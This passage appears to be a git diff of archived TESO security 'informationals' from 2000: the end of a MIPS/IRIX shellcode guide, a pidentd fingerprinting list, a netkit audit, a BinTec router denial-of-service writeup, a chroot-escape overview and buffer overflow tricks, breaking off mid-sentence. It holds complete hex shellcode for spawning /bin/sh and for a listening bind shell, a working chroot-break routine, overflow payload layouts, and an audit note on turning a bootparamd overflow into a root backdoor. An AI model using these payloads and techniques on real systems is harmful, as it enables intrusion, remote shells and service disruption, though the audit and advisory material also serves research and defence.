473from arithmetic and logic instructions by using higher registers, such as $t8
474or $s7. Next try replacing the single instruction with two or three
475accomplishing the same. Make use of the return values of syscalls or known
476register contents. Be creative, use a MIPS instruction reference from [1] or
477[2] and your brain and you'll always find a good replacement.
478
479Once you made your shellcode NUL free you'll notice the size has increased and
480your shellcode is quite bloated. Don't worry, this is normal, there is almost
481nothing you can do about it, RISC code is nearly always larger then the same
482code on x86. But you can do some small optimizations to decrease the size. At
483first try to find replacements for instruction blocks, where more then one
484instruction is used to do one thing. Always take a look at the current register
485content and make use of return values or previously loaded values. Sometimes
486reordering saves you from doing jumps.
487
488
489Example shellcode
490=================
491
492All the shellcodes have been tested on the following systems, (thanks to vax,
493oxigen, zap and hendy):
494
495R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and R10000/6.4.
496
497== execve
498
499/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso
500 */
501unsigned long int shellcode[] = {
502 0xafa0fffc, /* sw $zero, -4($sp) */
503 0x24067350, /* li $a2, 0x7350 */
504/* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */
505 0x8fa6fffc, /* lw $a2, -4($sp) */
506 /* a2 = (char **) envp = NULL */
507
508 0x240fffcb, /* li $t7, -53 */
509 0x01e07827, /* nor $t7, $t7, $zero */
510 0x03eff821, /* addu $ra, $ra, $t7 */
511
512 /* a0 = (char *) pathname */
513 0x23e4fff8, /* addi $a0, $ra, -8 */
514
515 /* fix 0x42 dummy byte in pathname to shell */
516 0x8fedfffc, /* lw $t5, -4($ra) */
517 0x25adffbe, /* addiu $t5, $t5, -66 */
518 0xafedfffc, /* sw $t5, -4($ra) */
519
520 /* a1 = (char **) argv */
521 0xafa4fff8, /* sw $a0, -8($sp) */
522 0x27a5fff8, /* addiu $a1, $sp, -8 */
523
524 0x24020423, /* li $v0, 1059 (SYS_execve) */
525 0x0101010c, /* syscall */
526 0x2f62696e, /* .ascii "/bin" */
527 0x2f736842, /* .ascii "/sh", .byte 0xdummy */
528};
529
530== portshell (listening)
531
532/* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso
533 */
534unsigned long int shellcode[] = {
535 0x2416fffd, /* li $s6, -3 */
536 0x02c07027, /* nor $t6, $s6, $zero */
537 0x01ce2025, /* or $a0, $t6, $t6 */
538 0x01ce2825, /* or $a1, $t6, $t6 */
539 0x240efff9, /* li $t6, -7 */
540 0x01c03027, /* nor $a2, $t6, $zero */
541 0x24020453, /* li $v0, 1107 (socket) */
542 0x0101010c, /* syscall */
543 0x240f7350, /* li $t7, 0x7350 (nop) */
544
545 0x3050ffff, /* andi $s0, $v0, 0xffff */
546 0x280d0101, /* slti $t5, $zero, 0x0101 */
547 0x240effee, /* li $t6, -18 */
548 0x01c07027, /* nor $t6, $t6, $zero */
549 0x01cd6804, /* sllv $t5, $t5, $t6 */
550 0x240e7350, /* li $t6, 0x7350 (port) */
551 0x01ae6825, /* or $t5, $t5, $t6 */
552 0xafadfff0, /* sw $t5, -16($sp) */
553 0xafa0fff4, /* sw $zero, -12($sp) */
554 0xafa0fff8, /* sw $zero, -8($sp) */
555 0xafa0fffc, /* sw $zero, -4($sp) */
556 0x02102025, /* or $a0, $s0, $s0 */
557 0x240effef, /* li $t6, -17 */
558 0x01c03027, /* nor $a2, $t6, $zero */
559 0x03a62823, /* subu $a1, $sp, $a2 */
560 0x24020442, /* li $v0, 1090 (bind) */
561 0x0101010c, /* syscall */
562 0x240f7350, /* li $t7, 0x7350 (nop) */
563
564 0x02102025, /* or $a0, $s0, $s0 */
565 0x24050101, /* li $a1, 0x0101 */
566 0x24020448, /* li $v0, 1096 (listen) */
567 0x0101010c, /* syscall */
568 0x240f7350, /* li $t7, 0x7350 (nop) */
569
570 0x02102025, /* or $a0, $s0, $s0 */
571 0x27a5fff0, /* addiu $a1, $sp, -16 */
572 0x240dffef, /* li $t5, -17 */
573 0x01a06827, /* nor $t5, $t5, $zero */
574 0xafadffec, /* sw $t5, -20($sp) */
575 0x27a6ffec, /* addiu $a2, $sp, -20 */
576 0x24020441, /* li $v0, 1089 (accept) */
577 0x0101010c, /* syscall */
578 0x240f7350, /* li $t7, 0x7350 (nop) */
579 0x3057ffff, /* andi $s7, $v0, 0xffff */
580
581 0x2804ffff, /* slti $a0, $zero, -1 */
582 0x240203ee, /* li $v0, 1006 (close) */
583 0x0101010c, /* syscall */
584 0x240f7350, /* li $t7, 0x7350 (nop) */
585
586 0x02f72025, /* or $a0, $s7, $s7 */
587 0x2805ffff, /* slti $a1, $zero, -1 */
588 0x2806ffff, /* slti $a2, $zero, -1 */
589 0x24020426, /* li $v0, 1062 (fcntl) */
590 0x0101010c, /* syscall */
591 0x240f7350, /* li $t7, 0x7350 (nop) */
592
593 0x28040101, /* slti $a0, $zero, 0x0101 */
594 0x240203ee, /* li $v0, 1006 (close) */
595 0x0101010c, /* syscall */
596 0x240f7350, /* li $t7, 0x7350 (nop) */
597
598 0x02f72025, /* or $a0, $s7, $s7 */
599 0x2805ffff, /* slti $a1, $zero, -1 */
600 0x28060101, /* slti $a2, $zero, 0x0101 */
601 0x24020426, /* li $v0, 1062 (fcntl) */
602 0x0101010c, /* syscall */
603 0x240f7350, /* li $t7, 0x7350 */
604
605 0x02c02027, /* nor $a0, $s6, $zero */
606 0x240203ee, /* li $v0, 1006 (close) */
607 0x0101010c, /* syscall */
608 0x240f7350, /* li $t7, 0x7350 (nop) */
609
610 0x02f72025, /* or $a0, $s7, $s7 */
611 0x2805ffff, /* slti $a1, $zero, -1 */
612 0x02c03027, /* nor $a2, $s6, $zero */
613 0x24020426, /* li $v0, 1062 (fcntl) */
614 0x0101010c, /* syscall */
615 0x240f7350, /* li $t7, 0x7350 (nop) */
616
617 0xafa0fffc, /* sw $zero, -4($sp) */
618 0x24068cb0, /* li $a2, -29520 */
619 0x04d0ffff, /* bltzal $a2, pc-4 */
620 0x8fa6fffc, /* lw $a2, -4($sp) */
621 0x240fffc7, /* li $t7, -57 */
622 0x01e07827, /* nor $t7, $t7, $zero */
623 0x03eff821, /* addu $ra, $ra, $t7 */
624 0x23e4fff8, /* addi $a0, $ra, -8 */
625 0x8fedfffc, /* lw $t5, -4($ra) */
626 0x25adffbe, /* addiu $t5, $t5, -66 */
627 0xafedfffc, /* sw $t5, -4($ra) */
628 0xafa4fff8, /* sw $a0, -8($sp) */
629 0x27a5fff8, /* addiu $a1, $sp, -8 */
630 0x24020423, /* li $v0, 1059 (execve) */
631 0x0101010c, /* syscall */
632 0x240f7350, /* li $t7, 0x7350 (nop) */
633 0x2f62696e, /* .ascii "/bin" */
634 0x2f736842, /* .ascii "/sh", .byte 0xdummy */
635};
636
637== read
638
639/* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso
640 */
641unsigned long int shellcode[] = {
642 0x24048cb0, /* li $a0, -0x7350 */
643/* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */
644 0x2804ffff, /* slti $a0, $zero, -1 */
645 0x240fffe3, /* li $t7, -29 */
646 0x01e07827, /* nor $t7, $t7, $zero */
647 0x03ef2821, /* addu $a1, $ra, $t7 */
648 0x24060201, /* li $a2, 0x0201 (513 bytes) */
649 0x240203eb, /* li $v0, SYS_read */
650 0x0101010c, /* syscall */
651 0x24187350, /* li $t8, 0x7350 (nop) */
652};
653
654
655References
656==========
657
658For further information you may want to consult this excellent references:
659
660 [1] See MIPS Run
661 Dominic Sweetman, Morgan Kaufmann Publishers
662 ISBN 1-55860-410-3
663
664 [2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2
665 Document Number 007-2418-001
666 http://www.mips.com/ and http://www.sgi.com/
667
668===============================================================================
669
diff --git a/informationals/teso-i0021.txt b/informationals/teso-i0021.txt
new file mode 100644
index 0000000..b421fb8
--- /dev/null
+++ b/informationals/teso-i0021.txt
@@ -0,0 +1,70 @@
10021 2000/04/15 pidentd VERSION Linux distribution fingerprinting
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: pidentd VERSION Linux distribution fingerprinting
8Date .................: 2000/04/15 17:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: identd daemons
12Type of entity .......: method to obtain information
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: version infos by TESO people
16
17===============================================================================
18
19There are lots of different Linux distributions, and although you can often
20determine the distribution used from their banners, such as the telnet banner
21or the HTTP Server response field, it is difficult to determine the
22distribution from a hardened Linux box. They often only have SSH and identd
23enabled.
24
25However, most people don't know about the identd "VERSION" request, where the
26most popular ident daemon used by almost every Linux distribution, the pidentd,
27answers with it's own version number and compile time.
28
29Here is a list compiled through the help of TESO and friends, that will help
30you to determine the distribution remotely. Thanks go out to all the people
31that send in those lines :-)
32
33To get the version, just do:
34
35(echo VERSION ; sleep 2) | telnet localhost 113
36
37Please mail new distribution and identd version information to
38scut@nb.in-berlin.de, so I can keep this list up to date.
39
400 , 0 : X-VERSION : <text>
41
42<text> Distribution
43------------------------------------------------------------ ------------------
442.6.1 (Compiled: 17:21:18 Jul 2 1998) Debian 2.0
452.6.1 (Compiled: 17:47:13 Feb 13 1999) Debian 2.1
462.5.1 DLD 5.41 Pro
47pidentd 3.0.7 for Linux 2.2.13-22 (Nov 7 1999 00:18:10) Halloween 4
48INVALID-PORT SlackWare 4
492.8.3 (Compiled: 00:36:16 Oct 22 1999) SlackWare 7
502.7.4 (Compiled: 06:11:54 Aug 22 1998) SuSE 5.3
512.7.4 (Compiled: 13:20:35 Dec 14 1998) SuSE 6.0
522.7.4 (Compiled: 06:22:26 Apr 15 1999) SuSE 6.1
532.7.4 (Compiled: 13:22:44 Jul 23 1999) SuSE 6.2 EVAL
542.7.4 (Compiled: 17:09:12 Aug 22 1999) SuSE 6.2
55pidentd 3.0.7 for Linux 2.2.10 (Nov 8 1999 20:30:25) SuSE 6.3
56pidentd 3.1a14 for Linux 2.2.14 (Mar 24 2000 22:28:31) SuSE 6.4
57UNKNOWN-ERROR RedHat 5.2
582.8.3 (Compiled: 22:18:25 Jan 27 1999) RedHat 6.0 Publish
592.8.5 (Compiled: 22:13:48 Mar 21 1999) RedHat 6.0
60pidentd 3.0.7 for Linux 2.2.5-22smp (Sep 13 1999 20:16:57) RedHat 6.1
61pidentd 3.0.10 for Linux 2.2.5-22smp (Feb 22 2000 16:14:21) RedHat 6.2
620 , 0 : ERROR : INVALID-PORT Stampede Linux
63------------------------------------------------------------ ------------------
64
65Also, the 3.* versions of the pidentd daemon respond to case mixed VERSION
66requests, such as "vERSION", while the 2.* versions need a case fixed "VERSION"
67request and otherwise doesn't recognize it as a command.
68
69===============================================================================
70
diff --git a/informationals/teso-i0022.txt b/informationals/teso-i0022.txt
new file mode 100644
index 0000000..de5a592
--- /dev/null
+++ b/informationals/teso-i0022.txt
@@ -0,0 +1,266 @@
10022 2000/03/19 TESO AUDIT summary: netkit-combo-0.16
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: TESO AUDIT summary: netkit-combo-0.16
8Date .................: 2000/03/19 22:00
9Author ...............: scut
10Publicity level ......: unknown
11Affected .............: Linux netkit-combo-0.16
12Type of entity .......: implementation
13Type of discovery ....: auditing
14Severity/Importance ..: medium
15Found by .............: TESO AUDIT team
16
17Information ===================================================================
18
19This are the results from the TESO Audit project for the netkit-combo-0.16
20package.
21
22No severe vulnerability has been found in the netkit package, although a lot
23of minor issues and half-exploitable things were found. Altogether there were
24seven issues found.
25
26netkit-bootparamd
27-- buffer overflow from config file parsing
28description by Bawd:
29
30 Launching the bootparamd with the debug option in background
31
32 [root@foobar rpc.bootparamd]# ./bootparamd -d &
33 [2] 1268
34
35 Now launch the callbootd (the bootparam debugging proggie given with
36 the package)
37
38 [root@foobar rpc.bootparamd]# ./callbootd 127.0.0.1 127.0.0.1
39 bootparamd: whoami got question for 127.0.0.1
40 This is host localhost
41
42 [2]+ Segmentation Fault (core dumped) ./bootparamd -d
43
44 Here it segfault, why ?
45
46 In fact, the bootparam daemon, receives our request of boot, it looks
47 at the file /etc/bootparams and copies the location of the bootparams
48 database.
49
50 Lets jump in the code to see what does the dameon exactly:
51
52 It's in the rpc.bootparamd.c and more precisely in:
53
54 static int getthefile(char *askname,char *fileid,char *buffer)
55
56 they say :
57 /* getthefile return 1 and fills the buffer with the information
58 of the file, e g "host:/export/root/client" if it can be found.
59 If the host is in the database, but the file is not, the buffer
60 will be empty. (This makes it possible to give the special
61 empty answer for the file "dump") */
62
63
64 lets go:
65 bpf = fopen(bootpfile, "r");
66
67 open the file /etc/bootparams
68
69 if (match) {
70 fid_len = strlen(fileid);
71 while (!res && (fscanf(bpf,"%s", info)) > 0) {
72 ch = getc(bpf); /* and a character */
73 if (*info != '#') { /* Comment ? */
74 if (!strncmp(info, fileid, fid_len) &&
75 *(info + fid_len) == '=')
76 {
77 where = info + fid_len + 1;
78 if (isprint(*where)) {
79 /* found file */
80 strcpy(buffer, where);
81 res = 1; break;
82 }
83 }
84
85
86 the offending code is in the strcpy
87 it copies the line it found, into the buffer while the buffer is
88 defined like this:
89 (in the bootparamproc_getfile_1_svc)
90
91 if (getthefile(askname, getfile->file_id,buffer))
92
93 and static char buffer[MAXLEN]; with #define MAXLEN 800
94
95 so you can edit the /etc/bootparams configuration file and insert
96 something like
97 192.168.0.111:/AAAAAAAAAAA*2000
98 resulting in a segfault
99
100 So you see that we have to edit the configuration file. It cant be of
101 real use if you trying to remotely exploit this little bug, but (there
102 is a but), you can use it as a wicked backdoor.
103 Say you gained root access to the box and the box runs rpc.bootparamd.
104 Then you can edit the configuration file like this:
105 156.3.2.1:THE_SHELLCODE_that_casts_a_shell
106
107 then remotely you can start callbootd like this:
108 ./callbootd <victim-ip> <156.3.2.1>
109 and here you have a good rpc.bootparamd that casts you a shell.
110
111
112bsd-finger/finger/display.c:122
113-- documentation/commentation error
114
115 \t isn't stripped in finger replies, although comments say so.
116
117 * locale settings or is on the other side of the planet. So,
118 * strip 0-31, 127, 128-159, and 255. Note that not stripping
119 * 128-159 is asking for trouble, as 155 (M-esc) is interpreted
120
121 if (((ch&0x7f) >= 32 && (ch&0x7f) != 0x7f) || ch=='\t') {
122
123
124bsd-finger/finger/display.c:141
125-- characters 127-159 that should be stripped can be circumvented
126
127 although characters above and equal to 0x80 are and'ed with \x7f they
128 are later outputted, prepended with "M-^<char>" the <char> is the old
129 original character and'ed with \x7f and \x40 added. so character \x9b,
130 which should be filtered can be outputted by using \xdb, since
131 (\xdb & \x7f) + '@' will result in \x9b.
132
133 if (ch&0x80) {
134 putc('M', f);
135 putc('-', f);
136 ch &= 0x7f;
137 }
138
139 putc('^', f);
140 if (ch==0x7f) putc('?', f);
141 else putc(ch+'@', f);
142
143
144netkit-rwho/rwhod/rwhod.c:246
145netkit-rwho/rwhod/rwhod.c:294
146-- path relevant remotely supplied characters arent stripped from tempfile
147
148 rwhod creates a tempfile from the hostname passed from the remote
149 client:
150
151 wd.wd_hostname[sizeof(wd.wd_hostname)-1] = 0;
152 if (!verify(wd.wd_hostname)) {
153 syslog(LOG_WARNING, "malformed host name from %x",
154 from.sin_addr);
155 continue;
156 }
157 snprintf(path, sizeof(path), "whod.%s", wd.wd_hostname);
158 whod = open(path, O_WRONLY | O_CREAT, 0644);
159
160 while the wd_hostname is truncated and verified the verification
161 routine misses some important characters:
162
163 static int
164 verify(const char *name)
165 {
166 register int size = 0;
167
168 while (*name) {
169 if (!isascii(*name) || !(isalnum(*name) ||
170 ispunct(*name)))
171 return (0);
172 name++, size++;
173 }
174 return size > 0;
175 }
176
177 so verify ("../../") and verify ("/etc/") return true. whether this
178 results in something exploitable has to be checked.
179
180 Exploitation requires write access to /var/spool/rwho, which is 0755.
181 Unless there is a "arbitrary-make-directory" vulnerability this is
182 not exploitable.
183
184
185netkit-ntalk/talkd/announce.c:135
186-- buffer being copied into another buffer may be 9 bytes too long
187
188 talkd creates some messages before writing the user supplied message
189 to the term. after doing this it merges all messages into one big
190 buffer. however the length checking can be circumvented, as in:
191
192 bptr = big_buf;
193 *bptr++ = '^G'; /* send something to wake them up */
194 *bptr++ = '\r'; /* add a \r in case of raw mode */
195 *bptr++ = '\n';
196 for (i = 0; i < N_LINES; i++) {
197 /* copy the line into the big buffer */
198 lptr = line_buf[i];
199 while (*lptr != '\0')
200 *(bptr++) = safechar(*(lptr++));
201 /* pad out the rest of the lines with blanks */
202 for (j = sizes[i]; j < max_size + 2; j++)
203 *(bptr++) = ' ';
204 *(bptr++) = '\r'; /* add a \r in case of raw mode */
205 *(bptr++) = '\n';
206 }
207 *bptr = 0;
208
209 max_size can be (N_CHARS - 1) as largest value. then the total amount
210 of data being copied is (((N_CHARS - 1) + 2) * N_LINES) + 4 bytes long,
211 which is (N_CHARS = 120, N_LINES = 5): 121 * 5 + 4 = 609 bytes. the
212 buffer big_buf is only N_CHARS*N_LINES (= 600) bytes long. bingo.
213
214 this is only exploitable under a lot of conditions, practically this
215 is of no real use in the field.
216
217
218netkit-ntalk/talkd/announce.c:161
219-- tty filename is user supplied opened without character white/blacklisting
220
221 the talk request announcement is made through directly writing at the
222 target users tty. to check whether this is possible the full path to
223 the tty device file is constructed. this construction does just
224 connects the dev directory path (usualy "/dev/") to the user supplied
225 tty. so user supplied terminal names such as "../root/.rhosts" is
226 possible theoretically. the bad thing about this is that previously
227 to this call this is blocked by the find_user function, which checks
228 whether a) the user is logged in, and b) the user supplied tty is
229 a correct one. however, it should be fixed.
230
231 snprintf(full_tty, sizeof(full_tty), "%s/%s", _PATH_DEV,
232 request->r_tty);
233 if (access(full_tty, F_OK) != 0)
234 return FAILED;
235 fd = open(full_tty, O_WRONLY|O_NOCTTY);
236 if (fd<0) {
237 return (PERMISSION_DENIED);
238 }
239 if (fstat(fd, &stbuf) < 0) {
240 return (PERMISSION_DENIED);
241 }
242 if ((stbuf.st_mode&020) == 0) {
243 return (PERMISSION_DENIED);
244 }
245 print_mesg(fd, request, remote_machine);
246
247
248netkit-base/ping/ping.c:329
249-- invalid parsing of IP address information
250
251 if (sscanf(optarg, "%u.%u.%u.%u%c",
252 &i1, &i2, &i3, &i4, &junk) != 4) {
253 printf("bad interface address '%s'\n",
254 optarg);
255 exit(2);
256 }
257 ifaddr.s_addr = (i1<<24)|(i2<<16)|(i3<<8)|i4;
258
259 since the numbers are parsed as unsigned integers one can set an
260 arbitraty s_addr by using a defunc IP such as for example
261 0.0.0.2378322822. this is not exploitable since later this address
262 is checked when setting the multicast options on the icmp socket.
263 however, it should be fixed.
264
265===============================================================================
266
diff --git a/informationals/teso-i0023.txt b/informationals/teso-i0023.txt
new file mode 100644
index 0000000..b21eb1c
--- /dev/null
+++ b/informationals/teso-i0023.txt
@@ -0,0 +1,156 @@
10023 2000/04/16 Information on BinTec Router DoS
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: By filling the NAT table of a BinTec Router one can
8 force the machine to reboot because of memory shortage
9Date .................: 2000/04/16 00:00
10Author ...............: rookie
11Publicity level ......: unknown
12Affected .............: BinTec Router (BRICK-XS1/4 tested)
13 Firmware 4.9.3 has fixed this bug by deleting
14 Table entries, the 'Final Release' 5.1.2 reintroduced
15 the bug again
16Type of entity .......:
17Type of discovery ....:
18Severity/Importance ..: low, stupid DoS, easy to use
19Found by .............: rookie
20
21===============================================================================
22
23BinTec Router will reboot automatically when memory is short, so the perfect
24DoS is to fill up the memory.
25
26A common setup especially for workgroup and small business Access Router to
27connect many computers over one or two ISDN lines is NAT (Network Adress
28Translation). However, NAT is also considered to be a 'security feature'
29because it acts like a stateful transparent proxy for private networks, so it
30can be found on other setups, too.
31
32Due to this behaviour a router doing NAT has to manage a table with the
33following information for every connection:
34
35internal network ip & port -> router external port -> target ip & port
36
37
38a.)
39
40Example from an XS Router (Firmware 5.1.2):
41
42cass:system> ipNatTable
43
44inx IfIndex(*ro) Protocol(*ro) IntAddr(*ro) IntPort(*ro)
45 ExtAddr(ro) ExtPort(ro) RemoteAddr(ro) RemotePort(ro)
46 Direction(ro) Age(ro)
47
48 00 10001 tcp 192.168.0.100 1112
49 195.202.39.137 32824 212.3.152.130 50005
50 outgoing 0 00:00:02.00
51
52
53b.)
54
55A packet with SYN flag establishes an entry:
56
57raven:~# nmap -sS www.ccc.de -p 12345
58
59 08 10001 tcp 192.168.0.100 63072
60 195.202.39.137 33016 195.21.255.248 12345
61 outgoing 0 00:00:02.00
62
63
64c.)
65
66However the table entry is deleted for that connection if a RST, FIN or
67ICMP Error is received:
68
69cass:ipExtIfTable> ipextifnatrmvfin
70
71inx NatRmvFin(rw)
72
73 00 yes /* ethernet 1*/
74
75 01 yes /* ethernet 2*/
76
77 02 yes /* dial up line */
78
79
80d.)
81
82For idle connections there is a timeout of 1 hour for TCP and 30
83seconds for icmp and udp:
84
85cass:ipExtIfTable> ipextifnattcptimeout
86
87inx NatTcpTimeout(rw)
88
89 00 3600
90
91 01 3600
92
93 02 3600
94
95cass:ipExtIfTable> ipextifnatothertimeout
96
97inx NatOtherTimeout(rw)
98
99 00 30
100
101 01 30
102
103 02 30
104
105
106Notice: Setting down the timeout won't help much, you can force the machine
107 to reboot with nmap -sS down to about 2 seconds *with* RSTet
108 connections. With anything below 30 seconds the router will kill any
109 telnet, IRC and whatsoever idle connection.
110
111Conclusion: Rebooting the machine from the masqueraded network is trivial by
112 sending lots of SYN packets from different source IPs and ports to
113 an external IP that does not send RST packets back (however even
114 thenn the router memory might overflow)
115
116e.)
117
118Very often a forward rule is implemented to allow services from the outside
119through NAT.
120
121The default behaviour is to reject connections from the outside:
122
123Apr 19 23:39:18 cass INET: NAT: refused incoming session on ifc 10001 prot 6
124195.202.39.137:113 <- 128.176.216.234:1046
125
126However a forward rule can be defined:
127
128 Service user defined
129 Protocol tcp
130 Port (-1 for any) 113
131 Destination 192.168.0.100
132
133The identd request goes through:
134
135Apr 20 00:39:28 raven tcplogd: auth connection attempt from
136HOTSPOT2.UNI-MUENSTER.DE [128.176.216.234]
137
138
139f.)
140
141Entry in the NAT Table:
142
143cass:ipNatTable> ipNatTable
144
145inx IfIndex(*ro) Protocol(*ro) IntAddr(*ro) IntPort(*ro)
146 ExtAddr(ro) ExtPort(ro) RemoteAddr(ro) RemotePort(ro)
147 Direction(ro) Age(ro)
148
149 05 10001 tcp 192.168.0.100 113
150 195.202.39.137 113 128.176.216.234 1049
151 incoming 0 00:00:05.00
152
153Conclusion: Rebooting from the outside is simple if a forward rule has been
154 defined (very likely).
155
156===============================================================================
diff --git a/informationals/teso-i0024.txt b/informationals/teso-i0024.txt
new file mode 100644
index 0000000..b3fe037
--- /dev/null
+++ b/informationals/teso-i0024.txt
@@ -0,0 +1,136 @@
10024 2000/05/06 chroot break possibilities overview
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: chroot break possibilities overview
8Date .................: 2000/05/06 13:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: most OS's offering the chroot() system call
12Type of entity .......: access elevation
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: original discovery unknown, OS data by vax and teso
16
17===============================================================================
18
19Most Unix operating systems offer the chroot() system call. With it the root
20pointer of the filesystem can be changed for one process, so only parts of the
21filesystem are still visible to it. This is useful for some daemons, which
22would have access to the whole filesystem in case their security breaks.
23However to properly allow the chroot() idea to work, two things must be done
24directly after the chroot() call: a chdir to the chroot'ed directory must be
25done and the superuser privileges have to be dropped.
26
27The first condition, the change dir to the chroot directory is required because
28the current working directory is still outside of the chroot directory and the
29OS will treat any process which is outside of it's chroot pointer as if the
30chroot doesn't exist. Once it is inside this will change and the process can
31not escape from the directory. The dropping of the superuser privileges has
32another cause, since only the root user can issue chroot() system calls, he
33may be able to issue chroot() calls even when inside the chroot directory,
34this has to be disabled by dropping the privileges.
35
36The trick to break chroot() is just working under UID 0 and works as this:
37
38 /* chroot + chdir */
39 chroot ("/tmp");
40 chdir ("/tmp");
41
42 /* now we're jailed in /tmp, so our root / is actually /tmp */
43 /* create a subdirectory */
44 mkdir ("foobar", 0700);
45
46 /* chroot to this subdirectory */
47 chroot ("foobar");
48
49 /* now we're outside of the chroot'ed environment, so we cd up */
50 /* to the root directory */
51 for (i = 10 ; i > 0 ; --i)
52 chdir ("..");
53
54 /* now undo the whole chroot mess */
55 chroot (".");
56
57As you can see we first get outside of the change root directory not by
58changing or working directory (because we can't do that), but by changing
59the chroot directory itself to a subdirectory. For this operation we need
60root privileges. Since we are outside the chroot environment we can freely
61move our working directory except into the chroot()'ed one, which would
62limit us again. Once we are at the root directory we chroot to it to undo
63the whole mess created earlier.
64
65Who discovered this nice trick in the first place is unknown, if you know
66it please contact me.
67
68Unfortunatly this does not work on all operating systems. Here is a list of
69operating systems and whether they allow this. Thanks to vax, skyper, doze and
70various other people to help compiling this data.
71
72 Operating System break successful
73 ------------------------------------- -----------------
74 AIX 4.1.5 no
75 AIX 4.3.3 no
76 FreeBSD 2.2.8-STABLE yes
77 FreeBSD 4.0-RELEASE no
78 IRIX 5.3 yes
79 IRIX 6.4 yes
80 IRIX 6.5 yes
81 Linux 2.0.x yes
82 Linux 2.2.x yes
83 Linux 2.3.x yes
84 OpenBSD 2.6 no
85 OpenBSD 2.7-beta no
86 SunOS 5.5 yes
87 SunOS 5.5.1 yes
88 SunOS 5.6 yes
89 SunOS 5.7 yes
90 ------------------------------------- -----------------
91
92If you have test data that isn't in the list yet, please mail it to me.
93(scut@nb.in-berlin.de)
94
95ADDENDUM:
96(from a mail send to HERT mailinglist about 7350wu chroot breaking code.
97 smiler thinks this does not work on normal chroot-scenarios, but
98 nevertheless I include it for the archives ;)
99
100Date: Tue, 19 Sep 2000 00:16:30 +0200
101From: Kalou <pb@hert.org>
102To: hert@hert.org
103Subject: [HERT Private] drunk again
104
105Just to restate some things clearly :
106
107linux/7350wu/7350wu.c: unmodified: line 142 of 1450 [9%].
108
109/* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */
110
111I wish i could reach [-sc. & z-.] =)
112
113As i may have posted some time ago, freebsd chroot() is breakable
114even with FreeBSD 4-0.. In 4.0, they forbid a chroot() with an open
115file descriptor pointing to a directory *but* they forget to call
116chdir() from within chroot(). So anything you need to break it is
117to chroot() without having done an open("."..) and to chdir("../../../..")
118immediatly after. Shortly, just remove open(".") and fchdir() from your
119eggshells. This works with older releases, too.
120
121I didn't see many public chroot breaking techniques not involving this
122fchdir() trick, that is necessary only for O.S. that chdir() when you
123call chroot().
124
125Anyway don't forget chroot() allows mknod().
126
127This was tested on:
128
129FreeBSD eclipse 4.0-RELEASE FreeBSD 4.0-RELEASE #4: Sat Aug 19 22:08:48 CEST 2000
130root@eclipse:/usr/src/sys/compile/ECLIPSE alpha
131
132Just please correct this if i'm wrong.
133
134
135===============================================================================
136
diff --git a/informationals/teso-i0025.txt b/informationals/teso-i0025.txt
new file mode 100644
index 0000000..4e73dac
--- /dev/null
+++ b/informationals/teso-i0025.txt
@@ -0,0 +1,291 @@
10025 2000/05/20 some spicy tricks for buffer overflow exploitation
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: some spicy tricks for buffer overflow exploitation
8Date .................: 2000/05/20 13:00
9Author ...............: scut
10Publicity level ......: some known, some possibly known, some unknown
11Affected .............: buffer overflow exploits
12Type of entity .......: program behaviour
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: various people, scut, skyper, duke
16
17===============================================================================
18
19Although buffer overflows are kinda old now, there are still a lot of things
20to discover. Here are a few tricks I noticed when playing around with
21exploitation in the last two years.
22
23
24trick I. "enlarging exploitation space"
25
26 This trick is known and although it is very helpful it is seldomly used.
27 Imagine a relativly small buffer of say 128 bytes, followed by the saved
28 framepointer and the return address. In normal remote exploitation you
29 would use a position independant portshell code, which may be around 125
30 bytes for the x86 architecture. Since you have 128+4 (132) bytes before
31 the return address you can prepend the shellcode with some 7 bytes of
32 NOP instructions. So your return address has to hit the NOP space in a
33 7 byte long frame, which requires exact knowledge about the target binary.
34
35 However in case you're allowed to store more data you can use a small trick
36 to enlarge your offset frame. Say you can write 256 bytes at max to the
37 target buffer. Before the trick your target buffer looks like:
38
39 <7 NOP><shellcode><retaddr>
40
41 Using the trick it looks like:
42
43 <130 NOP><jmp-ahead><retaddr><3 NOP><shellcode>
44
45 Now you have a target frame of 133 bytes, and the offset is way more
46 reliable. The <jmp-ahead> is a two byte instruction which does nothing but
47 jumps 4 bytes ahead, so in case you hit the 130 bytes NOP space with your
48 offset you don't "execute" the return address.
49
50
51trick II. "lower stack space page fault"
52
53 Sometimes there is code like this:
54
55 void func (char *foo) {
56 char * moo = foo;
57 char buffer[256];
58
59 strcpy (buffer, foo);
60 moo += strlen (foo);
61 if (*moo != '\0')
62 exit (1);
63 }
64
65 Although this code snippet makes no sense it effectivly denies a simple
66 buffer overflow exploitation. However, clever people might overwrite the
67 `moo' pointer with a valid pointer that points to a bunch of NUL bytes.
68 But how to get a large space fully populated by NUL bytes ? On the x86
69 architecture (and most other architectures) you can just use a lower stack
70 page. Since it will be unused when the pointer is first used (by the *moo),
71 this will create a page fault in the kernel, and the kernel will allocate
72 us a new page. Since the kernel ensures you cannot read other processes
73 memory it overwrites the page with NUL bytes. Bingo.
74 Just overwrite this example with:
75
76 <NOP><shellcode><0xbfffd010><retaddr>
77
78 The 0xbfffd010 will be the new moo pointer.
79
80
81trick III. "incremental NUL byte creation"
82
83 On some big endian architectures you're faced with the problem of creating
84 a 64 bit pointer as return address, while there is a no way to insert NUL
85 bytes. This is nasty if the upper bits of the address have to be \x00.
86
87 In most cases this renders a simple exploitation undoable, except for one
